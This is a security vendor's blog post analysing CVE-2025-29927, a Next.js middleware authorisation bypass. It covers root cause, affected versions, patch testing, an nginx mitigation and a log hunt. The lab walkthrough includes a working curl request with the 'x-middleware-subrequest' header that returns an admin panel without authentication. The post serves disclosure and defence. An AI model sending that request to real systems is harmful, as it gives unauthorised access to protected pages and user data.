Attack Simulation & Response

Red TeamEnd-to-end simulation using real adversary tradecraft Blue TeamThreat hunting, monitoring and incident response Purple TeamGrow your offensive and defensive teams together Ransomware Response24/7 emergency response for encrypted systems

Security Testing

Penetration TestingFinding flaws in web, network and mobile applications Enterprise Penetration TestingRegulation-aligned testing for finance and large enterprises Vulnerability ScanningContinuous scanning, prioritised with CVSS
A free scoping call tailored to your organisation.
All services Get a quote

Forensic Threat Hunting

PotreX VestigeHidden threat scanning across disk, memory and forensic traces

Threat Intelligence

PotreX ArgosDark web and leak-focused threat intelligence

Penetration Testing

PotreX BallistaEnterprise penetration testing platform with finding management
Every product can be deployed on-premises or in the cloud.
All products Request a demo
Services
Products
Blog Contact Us Sign In
Home / Blog / CVE-2025-29927
Vulnerability Analysis

Authorization Bypass in Next.js Middleware: CVE-2025-29927

Summary

Next.js applications commonly use the middleware layer not just for routing but for session checks, role enforcement and security headers. CVE-2025-29927 allowed that entire layer to be skipped with a single request header.

When an attacker sends x-middleware-subrequest with the right value, the framework treats the request as middleware's own sub-request and serves the route without running the chain at all. Every admin panel whose authorisation lives only in middleware becomes reachable without authentication.

Responsible use

All output below comes from an isolated Next.js instance in the PotreX lab. Repeat these steps only on systems you own or have written permission to test.

Advisory details

CVECVE-2025-29927
ComponentNext.js — middleware chain
ClassCWE-285 · Improper authorization
SeverityCRITICAL · CVSS 9.1
Affected versions11.1.4 – 13.5.8, 14.0 – 14.2.24, 15.0 – 15.2.2
Fixed versions15.2.3 · 14.2.25 · 13.5.9 · 12.3.5
PrerequisiteAuthorisation enforced in the middleware layer

Root cause: a loop guard turned into a security decision

To stop middleware from calling itself forever, Next.js marks its own sub-requests. That marker is the x-middleware-subrequest header, and when the framework sees it, the middleware chain is skipped.

The flaw is the assumption that only the framework can produce that header. Because clients can send it too, an internal loop guard becomes a security decision. Depending on the version the expected value is middleware, src/middleware, or that value repeated for the depth of the chain.

The architectural lesson is blunt: middleware is not a security boundary. Authorisation has to be re-checked close to the data — in route handlers, server actions and the data access layer.

Verification in the lab

First, confirm whether the target falls inside the affected range.

analyst@ubuntu: ~/labs/nextjs –□✕
analyst@ubuntu:~/labs/nextjs$ npm ls next --depth=0
lab-portal@1.0.0 /home/analyst/labs/nextjs
└── next@15.1.6

#  every 15.x release below 15.2.3 is affected

Figure 1 — Determining the application's Next.js version

A normal request to the protected route triggers middleware, which redirects the unauthenticated user to the login page. That is the expected behaviour.

analyst@ubuntu: ~/labs/nextjs –□✕
analyst@ubuntu:~/labs/nextjs$ curl -s -o /dev/null -D - http://lab.local:3000/admin/users
HTTP/1.1 307 Temporary Redirect
location: /login?from=%2Fadmin%2Fusers
x-powered-by: Next.js
content-length: 0

#  middleware ran and redirected the unauthorised request

Figure 2 — Without the header: middleware enforces authorisation

Repeat the same request with the loop guard header and the chain never runs — the protected page is served directly.

analyst@ubuntu: ~/labs/nextjs –□✕
analyst@ubuntu:~/labs/nextjs$ curl -s -D - -H 'x-middleware-subrequest: middleware' http://lab.local:3000/admin/users | head -n 14
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
x-powered-by: Next.js

<main class="admin">
  <h1>User Management</h1>
  <table>
    <tr><td>1</td><td>admin@lab.local</td><td>owner</td></tr>
    <tr><td>2</td><td>mert@lab.local</td><td>editor</td></tr>

#  no session, no cookie — the admin panel came straight back

Figure 3 — One header skips the chain and exposes the panel

Impact

Every route whose authorisation lives only in middleware — admin panels, API endpoints returning user data, tenant separation in multi-tenant deployments — becomes reachable without authentication. Exploitation needs one HTTP header: no tooling, no chain, no session.

Behaviour on patched versions

Patched releases ignore the header when it arrives from outside. After the upgrade the same request is handled by middleware again.

analyst@ubuntu: ~/labs/nextjs –□✕
analyst@ubuntu:~/labs/nextjs$ npm i next@15.2.3 && npm run build && curl -s -o /dev/null -w '%{http_code}\n' -H 'x-middleware-subrequest: middleware' http://lab.local:3000/admin/users
added 1 package in 6s
▲ Next.js 15.2.3  ·  Compiled successfully
307

#  the header is ignored, authorisation is back in force

Figure 4 — The same request is redirected again after the upgrade

Where an upgrade cannot happen immediately, make sure the header never reaches the application. Stripping it at the reverse proxy is a temporary but effective control.

analyst@ubuntu: ~/labs/nextjs –□✕
analyst@ubuntu:~/labs/nextjs$ echo 'proxy_set_header x-middleware-subrequest "";' | sudo tee -a /etc/nginx/snippets/next-hardening.conf && sudo nginx -t && sudo systemctl reload nginx
proxy_set_header x-middleware-subrequest "";
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

#  the header no longer reaches upstream

Figure 5 — Stripping the header at the nginx layer

Log hunting and detection

The header is almost never seen in normal traffic, so even a single record deserves investigation. If access logs capture headers, a retrospective scan takes seconds.

analyst@ubuntu: /var/log/nginx –□✕
analyst@ubuntu:/var/log/nginx$ zgrep -i -c 'x-middleware-subrequest' access.log* | grep -v ':0'
access.log:37
access.log.2.gz:12

#  49 requests — source IPs and routes handed to incident response

Figure 6 — Retrospective scan for exploitation attempts

Conclusion

CVE-2025-29927 shows how quickly a mechanism designed “for internal use” turns critical once it can be triggered from outside. Three lessons follow: authorisation must not live in a single layer; framework-internal headers must be stripped at the edge; and framework versions belong in the asset inventory with a patch window measured in hours.

Sources

Test it in your own environment

We run this scenario against your own applications without touching production.

Call now · 0850 551 01 01 WhatsApp · Send a message Email · info@potrex.com